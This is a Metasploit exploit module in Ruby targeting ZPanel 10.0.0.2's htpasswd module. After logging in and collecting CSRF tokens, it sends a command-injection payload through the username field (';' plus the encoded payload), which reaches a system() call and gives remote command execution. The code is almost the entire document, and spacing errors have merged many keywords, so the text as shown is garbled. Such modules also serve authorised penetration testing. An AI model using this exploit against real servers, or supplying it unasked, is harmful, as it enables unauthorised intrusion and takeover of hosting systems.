|  
 require 'msf/core'
  
 classMetasploit3 < Msf::Exploit::Remote 
   Rank = ExcellentRanking 
  
   include Msf::Exploit::Remote::HttpClient 
  
   definitialize(info={}) 
     super(update_info(info, 
       'Name'=> "ZPanel 10.0.0.2 htpasswd Module Username Command Execution", 
       'Description'=> %q{ 
         This moduleexploits a vulnerability found inZPanel's htpasswd module. When 
         creating .htaccess using the htpasswd module, the username field can be used to 
         inject system commands, which is passed on to a system() function forexecuting 
         the system's htpasswd's command. 
  
         Please note: In order to use this module, you must have a valid account to login 
         to ZPanel.  An account part of any of the default groups should suffice, such as: 
         Administrators, Resellers, orUsers (Clients).  By default, there's already a 
         'zadmin'user, but the password is randomly generated. 
       }, 
       'License'=> MSF_LICENSE, 
       'Author'=> 
         [ 
           'shachibista',  
           'sinn3r'
         ], 
       'References'=> 
         [ 
           ['OSVDB', '94038'], 
         ], 
       'Arch'=> ARCH_CMD, 
       'Platform'=> 'unix', 
       'Targets'=> 
         [ 
           [ 'ZPanel 10.0.0.2 on Linux', {} ] 
         ], 
       'Privileged'=> false, 
       'DisclosureDate'=> "Jun 7 2013", 
       'DefaultTarget'=> 0)) 
  
     register_options( 
       [ 
         OptString.new('TARGETURI', [true, 'The base path to ZPanel', '/']), 
         OptString.new('USERNAME', [true, 'The username to authenticate as']), 
         OptString.new('PASSWORD', [true, 'The password to authenticate with']) 
       ], self.class) 
   end
  
  
   defpeer 
     "#{rhost}:#{rport}"
   end
  
  
   defcheck 
     res = send_request_raw({'uri'=> normalize_uri(target_uri.path)}) 
     ifnotres 
       print_error("#{peer} - Connection timed out") 
       returnExploit::CheckCode::Unknown 
     end
  
     ifres.body =~ /This server is running: ZPanel/ 
       returnExploit::CheckCode::Detected 
     end
  
     returnExploit::CheckCode::Safe 
   end
  
  
   deflogin(base, token, cookie) 
     res  = send_request_cgi({ 
       'method'=> 'POST', 
       'uri'=> normalize_uri(base, 'index.php'), 
       'cookie'=> cookie, 
       'vars_post'=> { 
         'inUsername'=> datastore['USERNAME'], 
         'inPassword'=> datastore['PASSWORD'], 
         'sublogin2'=> 'LogIn', 
         'csfr_token'=> token 
       } 
     }) 
  
     ifnotres 
       fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out") 
     elsifres.body =~ /Application Error/ orres.headers['location'].to_s =~ /invalidlogin/ 
       fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed") 
     end
  
     res.headers['Set-Cookie'].to_s.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || ''
   end
  
  
   defget_csfr_info(base, path='index.php', cookie='', vars={}) 
     res = send_request_cgi({ 
       'method'=> 'GET', 
       'uri'=> normalize_uri(base), 
       'cookie'=> cookie, 
       'vars_get'=> vars 
     }) 
  
     fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out while collecting CSFR token") ifnotres 
  
     token = res.body.scan(/<input type="hidden"name="csfr_token"value="(.+)">/).flatten[0] || ''
     sid   = res.headers['Set-Cookie'].to_s.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || ''
     fail_with(Exploit::Failure::Unknown, "#{peer} - No CSFR token collected") iftoken.empty? 
  
     returntoken, sid 
   end
  
  
   defexec(base, token, sid, user_salt_cookie) 
     fake_pass = Rex::Text.rand_text_alpha(5) 
     cookie    = "#{sid}; #{user_salt_cookie}"
  
     send_request_cgi({ 
       'method'=> 'POST', 
       'uri'=> normalize_uri(base), 
       'cookie'=> cookie, 
       'vars_get'=> { 
         'module'=> 'htpasswd', 
         'action'=> 'CreateHTA'
       }, 
       'vars_post'=> { 
         'inAuthName'=> 'Restricted+Area', 
         'inHTUsername'=> ";#{payload.encoded} #", 
         'inHTPassword'=> fake_pass, 
         'inConfirmHTPassword'=> fake_pass, 
         'inPath'=> '/', 
         'csfr_token'=> token 
       } 
     }) 
   end
  
  
   defexploit 
     base = target_uri.path 
  
     token, sid = get_csfr_info(base) 
     vprint_status("#{peer} - Token=#{token}, SID=#{sid}") 
  
     user_salt_cookie = login(base, token, sid) 
     print_good("#{peer} - Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") 
  
     vars = {'module'=>'htpasswd', 'selected'=>'Selected', 'path'=>'/'} 
     cookie = "#{sid}; #{user_salt_cookie}"
     token = get_csfr_info(base, '', cookie, vars)[0] 
     vprint_status("#{peer} - Token=#{token}, SID=#{sid}") 
  
  
     print_status("#{peer} - Executing payload...") 
     exec(base, token, sid, user_salt_cookie) 
   end
  
 end
 
 |